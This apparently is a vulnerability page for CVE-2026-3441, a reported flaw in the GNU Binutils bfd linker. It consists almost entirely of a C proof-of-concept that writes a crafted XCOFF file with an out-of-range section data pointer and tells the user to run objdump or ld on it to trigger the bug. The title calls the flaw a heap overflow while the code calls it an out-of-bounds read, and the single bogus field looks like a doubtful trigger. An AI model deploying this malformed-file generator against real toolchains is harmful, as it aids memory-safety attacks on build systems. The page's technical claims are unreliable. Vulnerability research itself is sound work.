CVE-2026-3441: GNU Binutils bfd linker堆缓冲区溢出漏洞

/* * CVE-2026-3441 PoC - Malicious XCOFF File Generator * This PoC generates a specially crafted XCOFF file that triggers * an out-of-bounds read in GNU Binutils bfd linker. * * WARNING: For educational and research purposes only. * Do not use for malicious purposes. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #pragma pack(push, 1) // XCOFF File Header (FILE Header) typedef struct { uint16_t f_magic; // Magic number (0x01DF for 32-bit XCOFF) uint16_t f_nscns; // Number of sections uint32_t f_timdat; // Time and date stamp uint32_t f_symptr; // File pointer to symbol table uint32_t f_nsyms; // Number of symbol table entries uint16_t f_opthdr; // Optional header size uint16_t f_flags; // Flags } XCOFF_FILE_HDR; // XCOFF Section Header typedef struct { char s_name[8]; // Section name uint32_t s_paddr; // Physical address uint32_t s_vaddr; // Virtual address uint32_t s_size; // Section size uint32_t s_scnptr; // File pointer to raw data uint32_t s_relptr; // File pointer to relocation uint32_t s_lnnoptr; // File pointer to line numbers uint16_t s_nreloc; // Number of relocation entries uint16_t s_nlnno; // Number of line number entries uint32_t s_flags; // Flags } XCOFF_SCN_HDR; #pragma pack(pop) int main(int argc, char *argv[]) { const char *output_file = "malicious.xcoff"; FILE *fp; XCOFF_FILE_HDR file_hdr; XCOFF_SCN_HDR scn_hdr; // Initialize file header with malicious values memset(&file_hdr, 0, sizeof(file_hdr)); file_hdr.f_magic = 0x01DF; // 32-bit XCOFF magic number file_hdr.f_nscns = 1; // One section file_hdr.f_timdat = 0x60000000; file_hdr.f_symptr = sizeof(XCOFF_FILE_HDR) + sizeof(XCOFF_SCN_HDR); file_hdr.f_nsyms = 0; file_hdr.f_opthdr = 0; file_hdr.f_flags = 0x0000; // Initialize section header with crafted values memset(&scn_hdr, 0, sizeof(scn_hdr)); strncpy(scn_hdr.s_name, ".text", 8); scn_hdr.s_paddr = 0x1000; scn_hdr.s_vaddr = 0x1000; scn_hdr.s_size = 0x1000; // Large section size // Malicious: s_scnptr points beyond allocated buffer scn_hdr.s_scnptr = 0xFFFFFFFF; // Out-of-bounds pointer scn_hdr.s_relptr = 0; scn_hdr.s_lnnoptr = 0; scn_hdr.s_nreloc = 0; scn_hdr.s_nlnno = 0; scn_hdr.s_flags = 0x20; // STYP_TEXT flag // Write malicious XCOFF file fp = fopen(output_file, "wb"); if (!fp) { fprintf(stderr, "Error: Cannot create output file\n"); return 1; } fwrite(&file_hdr, sizeof(file_hdr), 1, fp); fwrite(&scn_hdr, sizeof(scn_hdr), 1, fp); fclose(fp); printf("[+] Created malicious XCOFF file: %s\n", output_file); printf("[+] Use 'objdump -x %s' or 'ld %s' to trigger vulnerability\n", output_file, output_file); return 0; }